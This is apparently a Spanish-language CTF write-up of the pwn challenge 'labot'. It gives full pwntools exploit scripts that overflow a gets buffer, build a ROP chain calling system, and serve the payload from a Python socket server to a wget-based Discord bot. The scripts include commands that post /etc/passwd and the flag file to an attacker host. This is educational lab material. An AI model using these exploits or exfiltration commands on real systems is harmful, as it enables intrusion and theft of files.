f4d3

f4d3

InfoSec enthusiast | pwn | RE | CTF | BugBounty

convid{labot}

Hola! espero que todo ande bien!

El pasado fin de semana, participamos en un CTF organizado por l4t1nhtb y convid.cl, conferencia Chilena que estuvo entretenida, buenas charlas y buenos desafíos en el CTF ❤️ ! Mucho amor al team que la rompieron 24/7 cntr0llz ❤️ !

Summary

Este challenge fue un challenge de la categoría pwn, llamado labot. Su descripción es bien breve, nos da una dirección de discord (que sirve para invitar a un bot), y un respectivo binario.

recon

Comenzando, bajé el binario, y entré al canal donde estaba el bot, para leer su funcionamiento:

Entonces, tenemos un bot de discord, que hace un fetch a una URL, y le pasa el contenido al binario…

Veamos qué tiene de interesante el binario.

De aquí podemos ver que es un binario simple, que hace una llamada a gets, y luego saca por pantalla lo escrito con puts. siendo el stackframe de 128 bytes, (+ 8 bytes del saved rbp), teóricamente tendríamos el crash en 136 bytes. Otro detalle, es que tenemos una entrada en la PLT para system, esto debido a que tenemos una función llamada “quizasutil”, vendría útil al momento de explotar, no hace más que lanzar un /bin/ls

dynamic analysis

Comenzando con análisis dinámico, eché a correr mi ambiente de pwn (que es básicamente un docker), y comencé con el esqueleto del exploit:

#!/usr/bin/env python3
from pwn import *
import sys
import subprocess

context(terminal=['tmux', 'new-window'])
context(os="linux", arch="amd64")
context.log_level = "debug"


p_name = "labot"  ## change for the challenge name

def debug():
    p = process(p_name)         ## Start the new process
    gdb_command = '''b * main + 32
    b * 0x000000000040061b'''.split('\n')  # The command that will run gdb at startup
    attach_command = "tmux new-window gdb {} {} ".format(p_name,p.pid)
    for k in gdb_command:
        attach_command += '''--eval-command="{}" '''.format(k)
    log.debug("Starting a new gdb session with the following command: {}".format(attach_command))
    subprocess.Popen(attach_command, shell=True, stdin=subprocess.PIPE)
    return p


if "remote" not in sys.argv:
    p = debug()
else:
    p = remote("blabla",5000)

## ADDRESSES

junk = b'A'*136

payload = junk
payload += b'BBBBCCCC'


sleep(4)
p.sendline(payload)

p.interactive()


Ya tenemos el punto del crash, hora de comenzar a pensar el esqueleto de nuestro exploit… Tenemos que tener en cuenta, que la única manera de interacción con la máquina remota, es a través del bot:

Algo a tener en cuenta: es el uso de wget para ir a buscar el contenido de la página, esto identificado por el user agent

Con este supuesto, tendremos que hacer un exploit que utilice 1 sólo payload, para lograr todo.

exploit

Plan de acción, utilizando una ropchain (Tenemos buffer infinito :D)

  • Controlar el registro RDI.
  • lamar a gets y escribir arbitrariamente en un buffer. (descarté la opción de guardar la referencia a nuestro “/bin/sh\x00” en el stack, puesto que las direcciones aquí son muy volátiles… y si a esto le añadimos el ASLR, uff…)
  • llamar a system con argumento de nuestro payload escrito.

Comenzando a sacar el gadget que necesitamos.

Armando el exploit, llegamos a algo como esto, traté de dejar el código auto explicado para que se entienda lo mejor posible

#!/usr/bin/env python3
from pwn import *
import sys
import subprocess

context(terminal=['tmux', 'new-window'])
context(os="linux", arch="amd64")
context.log_level = "debug"


p_name = "labot"  ## change for the challenge name

def debug():
    p = process(p_name)         ## Start the new process
    gdb_command = '''b * main + 32
    b * 0x000000000040061b'''.split('\n')  # The command that will run gdb at startup
    attach_command = "tmux new-window gdb {} {} ".format(p_name,p.pid)
    for k in gdb_command:
        attach_command += '''--eval-command="{}" '''.format(k)
    log.debug("Starting a new gdb session with the following command: {}".format(attach_command))
    subprocess.Popen(attach_command, shell=True, stdin=subprocess.PIPE)
    return p


if "remote" not in sys.argv:
    p = debug()
else:
    p = remote("blabla",5000)

## ADDRESSES

pop_rdi = p64(0x000000000040061b)       # pop rdi; ret
pop_rsi = p64(0x0000000000400619)       # pop rsi; pop r15; ret
gets_plt = p64(0x00400480)              # get@plt
bss = p64(0x601000 + 200)              # random address on .bss
system = p64(0x00400470)                # call system

command = b'/bin/ls\x00'            # comando que vamos a guardar en la .bss

junk = b'A'*136                     # junk padding

payload = junk
payload += pop_rdi                  # primer gadget
payload += bss                      # pop rdi; ret
payload += gets_plt                 # ret a gets@plt
payload += pop_rdi                  # saltamos a pop rdi; ret
payload += bss                      # guardamos puntero a la .bss en rdi
payload += system                   # llamamos a system



sleep(4)
p.sendline(payload)
p.sendline(command)

p.interactive()

Corriendo esto, obtenemos una llamada a system con nuestro argumento “command”

Bien! Lamentablemente, pensando en la máquina remota, este exploit no funcionaría, ya que la interacción con el bot, sólo es posible hacer 1 request, y debemos hacer todo con una sola request.

Lo bueno, es que la lectura de carácteres, se hace con gets, y no hay ningún tipo de fflush de por medio, por lo que leyendo el manual de gets, podemos concluir lo siguiente:

Básicamente, gets leerá hasta un newline o un EOF.

Con esto, lo que venga después de un new line, quedará en el buffer del stdin, y será leído por el próximo gets ! 🎯,

Con esto, el exploit va a mutar en lo siguiente.

#!/usr/bin/env python3
from pwn import *
import sys
import subprocess

context(terminal=['tmux', 'new-window'])
context(os="linux", arch="amd64")
context.log_level = "debug"


p_name = "labot"  ## change for the challenge name

def debug():
    p = process(p_name)         ## Start the new process
    gdb_command = '''b * main + 32
    b * 0x000000000040061b'''.split('\n')  # The command that will run gdb at startup
    attach_command = "tmux new-window gdb {} {} ".format(p_name,p.pid)
    for k in gdb_command:
        attach_command += '''--eval-command="{}" '''.format(k)
    log.debug("Starting a new gdb session with the following command: {}".format(attach_command))
    subprocess.Popen(attach_command, shell=True, stdin=subprocess.PIPE)
    return p


if "remote" not in sys.argv:
    p = debug()
else:
    p = remote("blabla",5000)

## ADDRESSES

pop_rdi = p64(0x000000000040061b)       # pop rdi; ret
pop_rsi = p64(0x0000000000400619)       # pop rsi; pop r15; ret
gets_plt = p64(0x00400480)              # get@plt
bss = p64(0x601000 + 200)              # random address on .bss
system = p64(0x00400470)                # call system

command = b'/bin/sh\x00'

junk = b'A'*136

payload = junk                         # junk padding
payload += pop_rdi      # pop rdi; ret
payload += bss          # .bss en rdi
payload += gets_plt     # ret to gets
payload += pop_rdi      #  jump a pop rdi; ret
payload += bss          # .bss into rdi
payload += system       # ret to system
payload += b'\n'        # break the first gets
payload += command      # into the second gets



sleep(4)
p.sendline(payload)

p.interactive()

Tenemos la misma situación que hace un rato, pero ahora, sólo con un payload!

Ahora, tenemos que pensar en cómo lograr esta situación remotamente, y que sea provechosa para nosotros (no nos sirve spawnear una shell, ya que la interacción sólo será a través del bot de discord). Opté por una opción (que no sé si era lo más fácil), de armar un mini web server utilizando sockets en python. Con esto, podremos responder (luego de los respectivos headers), el payload de la forma más raw posible, El exploit se transformará a lo siguiente:

#!/usr/bin/env python3

import socket
from pwn import p64

HOST = 'tu_host'
PORT = 9001

pop_rdi = p64(0x000000000040061b)       # pop rdi; ret
pop_rsi = p64(0x0000000000400619)       # pop rsi; pop r15; ret
gets_plt = p64(0x00400480)              # get@plt
bss = p64(0x601000 + 200)              # random address on .bss
system = p64(0x00400470)                # call system

command = b'wget --post-file=/etc/passwd nuestra_ip\x00'

junk = b'A'*136

payload = junk
payload += pop_rdi
payload += bss
payload += gets_plt
payload += pop_rdi
payload += bss
payload += system
payload += b'\n'
payload += command


with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen()
    while True:
        conn, addr = s.accept() # nueva conexión
        with conn:
            print("Connected by: {}".format(addr))
            response = b"""HTTP/1.1 200 OK
            Server: f4d3 server
            Content-Length: """ # añadimos hosts básicos
            response += bytes([len(payload)]) # content length
            response += b"\n\n"                 # payload of the response
            response += payload
            conn.send(response)                 # SENDDD:D
            data = conn.recv(1024)
            print(data)


Considerando que la máquina tiene wget, utlizaremos eso mismo para exfiltrar los datos, haciendo el comando: command = b'wget --post-file=/etc/passwd nuestra_ip\x00'

Yes! obtenemos el contenido de /etc/passwd!

Si updateamos el comando directamente a la flag, obtenemos el siguiente exploit:

#!/usr/bin/env python3

import socket
from pwn import p64

HOST = 'tu_host'
PORT = 9001

junk = b'A'*136
system = p64(0x0040057b)

bss = p64(0x601000 + 200)
pop_rdi = p64(0x000000000040061b)   # pop rdi; ret
pop_rsi = p64(0x0000000000400619)   # pop rsi, pop r15, ret
lea_rdi = p64(0x000000000040057b)
lea_rax = p64(0x00000000004005a3)
gets_plt = p64(0x00400480)

command = b"""wget --post-file=flag.txt tu_host:3030/test\x00"""


## ADDRESSES

junk = b'A'*136
system = p64(0x400582)


payload = junk
payload += pop_rdi
payload += bss
payload += gets_plt
payload += pop_rdi
payload += bss
payload += system
payload += b'\n'
payload += command


with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen()
    while True:
        conn, addr = s.accept()
        with conn:
            print("Connected by: {}".format(addr))
            response = b"""HTTP/1.1 200 OK
            Server: f4d3 server
            Content-Length: """
            response += bytes([len(payload)])
            response += b"\n\n"
            response += payload
            conn.send(response)
            data = conn.recv(1024)
            print(data)



Gotcha!

CL{pwn3ado_1nd1r3ct4m3nt3_Nad4_d3_Sh3lLs!}

Espero que se haya entendido todo, cualquier consulta, no duden en preguntar por twitter o por donde gusten, nuevamente, muchas gracias por el CTF,

Saludos!

kjj